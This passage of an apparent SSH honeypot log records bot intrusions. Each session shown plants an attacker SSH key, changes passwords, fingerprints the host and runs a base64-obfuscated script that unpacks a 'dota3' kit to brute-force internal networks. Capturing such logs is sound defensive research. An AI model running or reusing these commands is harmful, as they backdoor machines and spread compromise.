0.26\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T23:54:28.088844+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T23:54:28.089762+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T23:54:28.169956+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T23:54:28.170413+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T23:54:28.250784+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T23:54:28.252201+00:00","kind":"output","latency_ms":null,"data":"mysql"},{"seq":30,"at":"2026-08-25T23:54:28.320571+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T23:54:29.056741+00:00","kind":"output","latency_ms":735,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-25T23:54:29.133901+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T23:54:31.501558+00:00","kind":"output","latency_ms":2366,"data":"24G"},{"seq":34,"at":"2026-08-25T23:54:31.851067+00:00","kind":"input","latency_ms":null,"data":"echo \"mysql mysql!\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T23:54:31.939694+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T23:54:32.345864+00:00","kind":"output","latency_ms":406,"data":""},{"seq":37,"at":"2026-08-25T23:54:32.362142+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T23:54:32.891164+00:00","kind":"output","latency_ms":528,"data":"1"},{"seq":39,"at":"2026-08-25T23:54:33.046846+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T23:54:33.491629+00:00","kind":"output","latency_ms":444,"data":"1"},{"seq":41,"at":"2026-08-25T23:54:34.011875+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T23:54:34.423755+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T23:54:34.947220+00:00","kind":"output","latency_ms":521,"data":"1"},{"seq":44,"at":"2026-08-25T23:54:35.229013+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T23:54:35.716672+00:00","kind":"output","latency_ms":487,"data":"1"},{"seq":46,"at":"2026-08-25T23:54:35.957300+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T23:54:36.395834+00:00","kind":"output","latency_ms":437,"data":""},{"seq":48,"at":"2026-08-25T23:54:45.006417+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T23:54:45.006852+00:00","kind":"output","latency_ms":null,"data":"mysql"}],"credentials":[{"username":"mysql","password":"mysql!","method":"password","accepted":true,"tier":"other"}]} {"id":"4f297c43-5549-4b8b-91b0-0e20a94077d3","name":"courtly-silent-reindeer","protocol":"ssh","channel_kind":"exec","src_ip":"66.116.242.235","src_port":53858,"username":"ftpsecure","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":645,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T23:02:36.705855+00:00","ended_at":"2026-08-25T23:02:36.911752+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3443,"events":[{"seq":1,"at":"2026-08-25T23:01:59.546040+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T23:02:00.188939+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T23:02:05.134357+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T23:02:05.135058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T23:02:05.784423+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nXMVhsuXAOXto\\nXMVhsuXAOXto\"|passwd|bash"},{"seq":6,"at":"2026-08-25T23:02:06.425428+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nXMVhsuXAOXto\\nXMVhsuXAOXto\\n\"|passwd"},{"seq":7,"at":"2026-08-25T23:02:07.077463+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T23:02:07.078018+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T23:02:07.722749+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T23:02:08.603539+00:00","kind":"output","latency_ms":880,"data":"15888 15420 467 1025 10698 2467"},{"seq":11,"at":"2026-08-25T23:02:09.248425+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T23:02:09.739360+00:00","kind":"output","latency_ms":491,"data":"-rwxr-xr-x 1 root root 149K Jan 17 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T23:02:10.387600+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T23:02:10.388087+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T23:02:11.032580+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T23:02:11.033064+00:00","kind":"output","latency_ms":null,"data":" 23:02:11 up 5 days, 19:52, 0 user, load average: 0.15, 0.18, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T23:02:11.680309+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T23:02:11.681039+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T23:02:12.328428+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T23:02:12.329106+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T23:02:12.979704+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T23:02:12.980298+00:00","kind":"output","latency_ms":null,"data":"top - 23:02:12 up 5 days, 19:52, 0 user, load average: 0.15, 0.18, 0.1\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T23:02:13.623174+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T23:02:13.624511+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T23:02:14.269440+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T23:02:14.269923+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T23:02:14.916168+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T23:02:14.916738+00:00","kind":"output","latency_ms":null,"data":"ftpsecure"},{"seq":29,"at":"2026-08-25T23:02:15.560908+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T23:02:16.413600+00:00","kind":"output","latency_ms":852,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T23:02:17.056445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T23:02:17.827873+00:00","kind":"output","latency_ms":770,"data":"24G"},{"seq":33,"at":"2026-08-25T23:02:19.883887+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpsecure 1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T23:02:20.530955+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T23:02:21.058557+00:00","kind":"output","latency_ms":527,"data":""},{"seq":36,"at":"2026-08-25T23:02:22.842421+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T23:02:23.323130+00:00","kind":"output","latency_ms":476,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T23:02:23.966127+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T23:02:24.439190+00:00","kind":"output","latency_ms":472,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T23:02:25.091303+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T23:02:25.735665+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T23:02:26.238725+00:00","kind":"output","latency_ms":503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T23:02:26.885510+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T23:02:27.350110+00:00","kind":"output","latency_ms":464,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T23:02:27.995078+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T23:02:36.707103+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-25T23:02:36.707858+00:00","kind":"output","latency_ms":null,"data":"ftpsecure"}],"credentials":[{"username":"ftpsecure","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"02d24a53-b8a1-475b-9430-57bff8df9935","name":"dapper-umber-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"107.150.103.210","src_port":26246,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":250,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:16:25.635410+00:00","ended_at":"2026-08-25T21:16:25.703055+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3446,"events":[{"seq":1,"at":"2026-08-25T21:15:46.303040+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:15:46.552356+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:15:57.407822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:15:57.408657+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:15:57.658726+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0VamHu2EkenX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T21:15:57.907403+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T21:15:58.156320+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:15:58.157427+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:15:58.211852+00:00","kind":"output","latency_ms":552,"data":""},{"seq":10,"at":"2026-08-25T21:15:58.406913+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T21:15:58.994323+00:00","kind":"output","latency_ms":586,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-25T21:15:59.243142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T21:15:59.815714+00:00","kind":"output","latency_ms":571,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T21:16:00.065080+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:16:00.065749+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T21:16:00.316816+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T21:16:00.317368+00:00","kind":"output","latency_ms":null,"data":" 21:16:00 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T21:16:00.569063+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T21:16:00.569509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T21:16:00.817394+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T21:16:00.817837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T21:16:01.068098+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T21:16:01.068660+00:00","kind":"output","latency_ms":null,"data":"top - 21:16:01 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T21:16:01.318431+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T21:16:01.319034+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T21:16:01.569819+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T21:16:01.570466+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T21:16:01.819930+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T21:16:01.820422+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T21:16:02.070369+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T21:16:02.681961+00:00","kind":"output","latency_ms":611,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T21:16:02.932207+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T21:16:03.399197+00:00","kind":"output","latency_ms":466,"data":"24.02G"},{"seq":34,"at":"2026-08-25T21:16:11.548824+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qaz@WSX,./\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T21:16:11.797170+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T21:16:12.626639+00:00","kind":"output","latency_ms":828,"data":""},{"seq":37,"at":"2026-08-25T21:16:12.643052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T21:16:13.196664+00:00","kind":"output","latency_ms":554,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T21:16:13.446904+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T21:16:13.962860+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T21:16:14.213144+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:16:14.477365+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T21:16:14.932299+00:00","kind":"output","latency_ms":469,"data":"1"},{"seq":44,"at":"2026-08-25T21:16:15.183454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T21:16:15.871698+00:00","kind":"output","latency_ms":687,"data":"1"},{"seq":46,"at":"2026-08-25T21:16:16.123042+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T21:16:25.637152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:16:25.637772+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qaz@WSX,./","method":"password","accepted":true,"tier":"other"}]} {"id":"e7a6b43a-b63c-43b3-8917-d473018c1a10","name":"coastal-wooded-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"221.163.5.228","src_port":38312,"username":"prova","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":639,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:16:09.535535+00:00","ended_at":"2026-08-25T21:16:09.734162+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3496,"events":[{"seq":1,"at":"2026-08-25T21:15:31.771121+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:15:32.410101+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:15:37.847212+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:15:37.847929+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:15:38.488074+00:00","kind":"input","latency_ms":null,"data":"echo -e \"provaprova\\nRTRSHh0IGIFL\\nRTRSHh0IGIFL\"|passwd|bash"},{"seq":6,"at":"2026-08-25T21:15:39.123101+00:00","kind":"input","latency_ms":null,"data":"echo \"provaprova\\nRTRSHh0IGIFL\\nRTRSHh0IGIFL\\n\"|passwd"},{"seq":7,"at":"2026-08-25T21:15:39.760582+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:15:39.760890+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:15:40.400438+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T21:15:40.965403+00:00","kind":"output","latency_ms":564,"data":"15888 2410 11312 0 2166 0"},{"seq":11,"at":"2026-08-25T21:15:41.603034+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T21:15:42.392198+00:00","kind":"output","latency_ms":788,"data":"-rwxr-xr-x 1 root root 142K Jan 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T21:15:43.033124+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T21:15:43.033559+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:15:43.669899+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T21:15:43.670367+00:00","kind":"output","latency_ms":null,"data":" 21:15:43 up 5 days, 18:05, 0 user, load average: 0.08, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU 